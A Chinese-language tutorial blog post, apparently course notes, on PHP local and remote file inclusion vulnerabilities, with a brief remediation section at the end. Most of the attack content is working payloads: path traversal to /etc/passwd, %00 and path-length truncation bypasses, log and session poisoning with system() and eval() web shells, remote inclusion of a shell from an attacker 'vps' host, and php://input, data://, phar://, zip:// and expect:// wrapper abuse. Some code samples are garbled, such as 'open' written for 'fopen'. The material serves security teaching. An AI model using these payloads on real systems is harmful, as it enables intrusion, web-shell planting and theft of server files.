第42天:WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计

文件包含漏洞:

1,当包含函数的内容是一个变量的话,那么可以通过控制变量包含带有后门的文件就实现了文件包含漏洞。

2,当服务器开启allow_url_include选项的时候,通过php某些特征函数,如include()、include_once()、require_once()使用url动态的去包含文件,此时如果对包含的文件没有进行过滤。就可能导致任意文件读取和任意命令执行。

漏洞示例代码:

php****// index.php$file = $_GET[ 'file' ];****include****$file****?>****

存在这种格式的代码 即可能有文件上传漏洞

一、文件包含漏洞简介

1、包含:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含。
2、文件包含漏洞:文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期的文件。如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。
3、漏洞发现:几乎在所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,其问题在于语言设计的弊端。

二、包含漏洞原理解析

1、PHP包含

PHP中的文件包含函数有以下四种:require()、require_once()、include()、include_once()。

(1)require找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
(2)require_once和require类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
(3)include找不到被包含的文件时只会产生警告(E_WARNING),脚本将继续执行。
(4)include_once和include类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

三、(PHP)本地文件包含漏洞利用(LFI)

只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。包含非PHP语法规范源文件时,将会暴露其源代码。

1、无限制本地文件包含漏洞

无限制本地文件包含漏洞是指代码中没有为包含文件指定特定的前缀或者.php、.html等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息,或者执行其他文件中的代码。

http://127.0.0.1/FI.php?filename=../../../../../../../etc/passwd
http://127.0.0.1/FI.php?filename=test.txt

2、有限制本地文件包含漏洞

有限制本地文件包含漏洞是指代码中为包含文件指定了特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。

常见的有限制本地文件包含过滤的方式主要有%00截断文件包含、路径长度截断文件包含、点号截断文件包含等。
(1)%00截断文件包含

  • 漏洞利用条件:magic_quotes_gpc=off;PHP版本低于5.3.4。
  • %00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。

<?php
    $filename=$_GET['filename'];
    include($filename . ".html");
?>

payload:http://127.0.0.1/FI.php?filename=../../../../../../../etc/passwd%00

(2)路径长度截断文件包含

  • 漏洞利用条件:Windows下目录的最大路径长度为256B;Linux下目录的最大路径长度为4096B。
  • 操作系统存在最大路径长度的限制,可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断。

<?php
    $filename=$_GET['filename'];
    include($filename . ".html");
?>

payload:http://127.0.0.1/FI.php?filename=test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

(3)点号截断文件包含

  • 漏洞利用条件:Windows系统。
  • 点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。

<?php
    $filename=$_GET['filename'];
    include($filename . ".html");
?>

payload:http://127.0.0.1/FI.php?filename=test.txt....................................................................................................................................................................................................................................................................

3、本地包含配合文件上传

上传一句话木马到服务器:

/uploadfile/echo.jpg:
<?fputs(open("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
访问:
http://127.0.0.1/index.php?filename=./uploadfile/echo.jpg
将会在index.php所在的目录下生成shell.php。

四、(PHP)远程文件包含漏洞利用(RFI)

远程包含功能需要确定PHP是否已经开启远程包含选项(PHP默认关闭远程包含功能),allow_url_include=on,allow_url_fopen=on,在php.ini配置文件中修改并重启web容器服务使其生效。
远程包含与本地包含没有区别,无论是哪种扩展名,只要遵循php语法规范,PHP解析器就会对其解析。

1、无限制远程文件包含

在正常情况下访问远程服务器URL,包含在php.txt中的phpinfo函数不会被当作PHP代码执行。

http://192.168.91.133/FI/php.txt

但是通过远程文件包含漏洞,包含在php.txt中的phpinfo函数就会被当作PHP代码解析并执行。

http://127.0.0.1/index.php?filename=http://192.168.91.133/FI/php.txt

2、有限制远程文件包含

有限制远程文件包含漏洞是指代码中存在特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能执行远程URL中的恶意代码。

通常有限制远程文件包含绕过可通过问号、井号、空格三种方式来绕过。
(1)问号绕过
可以在问号(?)后面添加HTML字符串,问号后面的扩展名.html会被当作查询,从而绕过扩展名过滤。

http://127.0.0.1/index.php?filename=http://192.168.91.133/FI/php.txt?

(2)井号绕过
可以在井号(#)后面添加HTML字符串,#号会截断后面的扩展名,从而绕过扩展名过滤。井号的URL编码为%23。

http://127.0.0.1/index.php?filename=http://192.168.91.133/FI/php.txt#

(3)空格绕过

http://127.0.0.1/index.php?filename=http://192.168.91.133/FI/php.txt%20

3、远程包含shell

尝试远程包含一句话木马。

服务器 http://vps/echo.txt:
<?fputs(open("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
访问:
http://127.0.0.1/index.php?filename=http://vps/echo.txt
将会在index.php所在的目录下生成shell.php。

五、Session文件包含

当可以获取session文件的路径并且session文件的内容可控时,就可以通过包含session文件进行攻击。
(1)获取session的存储位置

  • 通过phpinfo的信息获取session的存储位置,phpinfo中的session.save_path保存的是session的存储位置。
  • 通过猜测默认的session存储位置进行尝试,通常在Linux中Session默认存储在/var/lib/php/session目录下。
    (2)实例分析
<?php
      session_start();
      $ctfs=$_GET['ctfs'];
      $_SESSION["username"]=$ctfs;
?>

上述代码会将获取的GET型ctfs变量的值存入session中,攻击者可以利用GET型ctfs参数将恶意代码写入session文件中,然后再利用文件包含漏洞包含此session文件,向系统中传入恶意代码。
session的文件名以sess_开头,后跟sessionid。sessionid可以通过开发者模式获取。
(3)漏洞利用

http://127.0.0.1/session.php?ctfs=<?php phpinfo();?>
http://127.0.0.1/FI.php?filename=/var/lib/php/session/sess_812342oi455684090

六、日志文件包含

服务器中的中间件、SSH等服务都有记录日志的功能,如果开启了记录日志功能,用户访问的日志就会存储到不同服务的相关文件中。

1、中间件日志文件包含

  • 利用条件:web中间件日志文件的存储位置已知,并且有可读权限。
  • 利用步骤

(1)将恶意代码写入日志文件:
http://127.0.0.1/fi/<?php @eval($_POST[123]);?>
或者 <?php system($_GET['cmd']);?> (防止@等特殊符号被编译)
(2)通过Burpsuite抓包的方式修改浏览器URL编码后的数据包,这样就可以将恶意代码写入日志文件中。
(3)文件包含日志文件
http://127.0.0.1/fi/index.php?filename=../../../../../../../../../var/log/httpd/access_log
通过post发送123=phpinfo(),即可包含成功。

2、SSH日志文件包含

  • 利用条件:SSH日志路径已知,并且有可读权限。
  • SSH日志文件的默认路径为/var/log/auth.log。
  • 利用步骤:

(1)将恶意代码写入日志文件:
ssh "<?php  @eval(\$_POST[123]);?>"@172.17.0.1
(2)文件包含日志文件
http://127.0.0.1/fi/index.php?filename=../../../../../../../../../var/log/auth.log
通过post发送123=phpinfo(),即可包含成功。

七、PHP伪协议

PHP带有很多内置URL风格的封装协议,这类协议与fopen()、copy()、file_exists()、file size()等文件系统函数所提供的功能类似。

常见的PHP伪协议如下:
file://,访问本地文件系统。
http://,访问http(s)网址。
ftp://,访问ftp(s) URL。
php://,访问各个输入输出流。
zlib://,处理压缩流。
data://,读取数据。
glob://,查找匹配的文件路径模式。
phar://,PHP归档。
ssh2://,Secure Shell 2。
rar://,RAR数据压缩。
ogg://,处理音频流。
expect://,处理交互式的流。

1、php://伪协议

(1)php://filter

读取本地文件:
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
?filename=php://filter/convert.base64-encode/resource=xxx.php

(2)php://input
php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使用enctype="multipart/form-data"的时候php://input是无效的。

- 1 读取POST数据:<?php echo file_get_contents("php://input");?>
- 2 写入木马:需要开启allow_url_include  
     ?filename=php://input 
     POST数据:<?php fputs(open("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
- 3 执行命令:需要开启allow_url_include  
      ?filename=php://input 
      POST数据:<?php system('whoami');?>

2、file://伪协议

file://伪协议可以访问本地文件系统,读取文件的内容。

?filename=file:///etc/passwd

3、data://伪协议

从php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是php代码,就会执行任意代码。
利用data://时,php配置文件需要开启allow_url_include 和allow_url_fopen。

代码执行:
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

4、phar://伪协议

phar://是用来进行解压的伪协议,phar://参数中的文件不管是什么扩展名,都会被当作压缩包。
利用phar://时,PHP的版本应高于5.3.0,PHP配置文件需开启allow_url_include 和allow_url_fopen。

- 通常phar://伪协议用在有上传功能的网站中,写一个木马文件shell.php,然后用zip://伪协议压缩为shell.zip(不能用rar://伪协议压缩),再将扩展名改为.png等,上传到网站。
- ?filename=phar://shell.png/shell.php
- phar://会把shell.png当作zip压缩包来接呀,并且访问解压后的shell.php文件。

5、zip://伪协议

利用zip://时,PHP的版本应高于5.3.0,PHP配置文件需开启allow_url_include 和allow_url_fopen。

- ?filename=zip://[压缩文件]#[压缩文件内的文件名]
- ?filename=zip://shell.png%23shell.php
- zip://会把shell.png当作zip压缩包来接呀,并且访问解压后的shell.php文件。

6、expect://伪协议

expect://伪协议主要用来执行系统命令,但需要安装扩展

?filename=expect://ls

七、文件包含漏洞修复

1、代码层修复

(1)严格判断包含中的参数是否外部可控;
(2)路径限制;
(3)包含文件限制;
(4)尽量不要使用动态包含。

2、服务器安全配置

(1)修改PHP的配置文件,将open_basedir设置为特定目录;
(2)修改PHP的配置文件,关闭allow_url_include等。


文章引用 :

文件包含漏洞 - 简书

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值